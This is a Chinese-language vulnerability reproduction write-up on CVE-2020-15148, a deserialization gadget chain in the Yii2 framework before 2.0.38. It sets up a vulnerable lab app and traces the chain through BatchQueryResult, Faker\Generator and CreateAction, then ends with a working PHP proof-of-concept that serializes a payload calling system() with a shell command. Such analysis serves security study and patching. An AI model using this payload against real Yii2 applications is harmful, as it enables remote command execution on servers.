跳转至

(CVE-2020-15148)Yii2框架反序列化漏洞

一、漏洞简介

如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

该漏洞只是php 反序列化的执行链,必须要配合unserialize函数才可以达到任意代码执行的危害。

二、漏洞影响

Yii2 \<2.0.38

三、复现过程

环境搭建

由于我本地的composer不知道为啥特别慢(换源也不管用),所以这里直接去Yii2的官方仓库里面拉。

1.jpg

选择一个漏洞影响的版本yii-basic-app-2.0.37.tgz解压到Web目录,然后修改一下配置文件。/config/web.php:

2.jpg

cookieValidationKey字段设置一个值(如果是composer拉的可以跳过这一步)接着添加一个存在漏洞的Action``/controllers/TestController.php:

3.jpg

测试访问:

4.jpg

漏洞分析

由于没有漏洞细节,我们可以去Yii2的官方仓库看看提交记录。yiisoft/yii2

5.jpg

在最新版中官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,直接不允许反序列化这个类了。

所以这里猜测该类为反序列化起点。/vendor/yiisoft/yii2/db/BatchQueryResult.php:

&lt;?php
namespace yii\db;

class BatchQueryResult{
    /** 
    ......
    */
    public function __destruct()
    {
        $this-&gt;reset();
    }

    public function reset()
    {
        if ($this-&gt;_dataReader !== null) {
            $this-&gt;_dataReader-&gt;close();
        }
        $this-&gt;_dataReader = null;
        $this-&gt;_batch = null;
        $this-&gt;_value = null;
        $this-&gt;_key = null;
    }
    /** 
    ......
    */
}
?&gt;

可以看到__destruct()调用了reset()方法reset()方法中,$this->_dataReader是可控的,所以此处可以当做跳板,去执行其他类中的__call()方法。

全局搜索function __call(

6.jpg

其中找到一个Faker\Generator/vendor/fzaninotto/faker/src/Faker/Generator.php:

&lt;?php
namespace Faker;

class Generator{
    /** 
    ......
    */
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this-&gt;getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this-&gt;formatters[$formatter])) {
            return $this-&gt;formatters[$formatter];
        }
        foreach ($this-&gt;providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this-&gt;formatters[$formatter] = array($provider, $formatter);

                return $this-&gt;formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($method, $attributes)
    {
        return $this-&gt;format($method, $attributes);
    }
    /** 
    ......
    */
}
?&gt;

可以看到,此处的__call()方法调用了format(),且format()$this->formatter里面取出对应的值后,带入了call_user_func_array()函数中。由于$this->formatter是我们可控的,所以我们这里可以调用任意类中的任意方法了。但是$arguments是从yii\db\BatchQueryResult::reset()里传过来的,我们不可控,所以我们只能不带参数地去调用别的类中的方法。

到了这一步只需要找到一个执行类即可。我们可以全局搜索call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+),得到使用了call_user_func函数,且参数为类中成员变量的所有方法。

7.jpg

查看后发现yii\rest\CreateAction::run()yii\rest\IndexAction::run()这两个方法比较合适。这里拿yii\rest\CreateAction::run()举例/vendor/yiisoft/yii2/rest/CreateAction.php:

&lt;?php
namespace yii\rest;

class CreateAction{
    /** 
    ......
    */
    public function run()
    {
        if ($this-&gt;checkAccess) {
            call_user_func($this-&gt;checkAccess, $this-&gt;id);
        }

        /* @var $model \yii\db\ActiveRecord */
        $model = new $this-&gt;modelClass([
            'scenario' =&gt; $this-&gt;scenario,
        ]);

        $model-&gt;load(Yii::$app-&gt;getRequest()-&gt;getBodyParams(), '');
        if ($model-&gt;save()) {
            $response = Yii::$app-&gt;getResponse();
            $response-&gt;setStatusCode(201);
            $id = implode(',', array_values($model-&gt;getPrimaryKey(true)));
            $response-&gt;getHeaders()-&gt;set('Location', Url::toRoute([$this-&gt;viewAction, 'id' =&gt; $id], true));
        } elseif (!$model-&gt;hasErrors()) {
            throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
        }

        return $model;
    }
    /** 
    ......
    */
}
?&gt;

$this->checkAccess$this->id都是我们可控的。所以整个利用链就出来了。

yii\db\BatchQueryResult::__destruct()
-&gt;
Faker\Generator::__call()
-&gt;
yii\rest\CreateAction::run()

还是挺简单的一个漏洞

poc

namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this-&gt;checkAccess = 'system';
            $this-&gt;id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this-&gt;formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this-&gt;_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?&gt;

8.jpg

参考链接

https://xz.aliyun.com/t/8307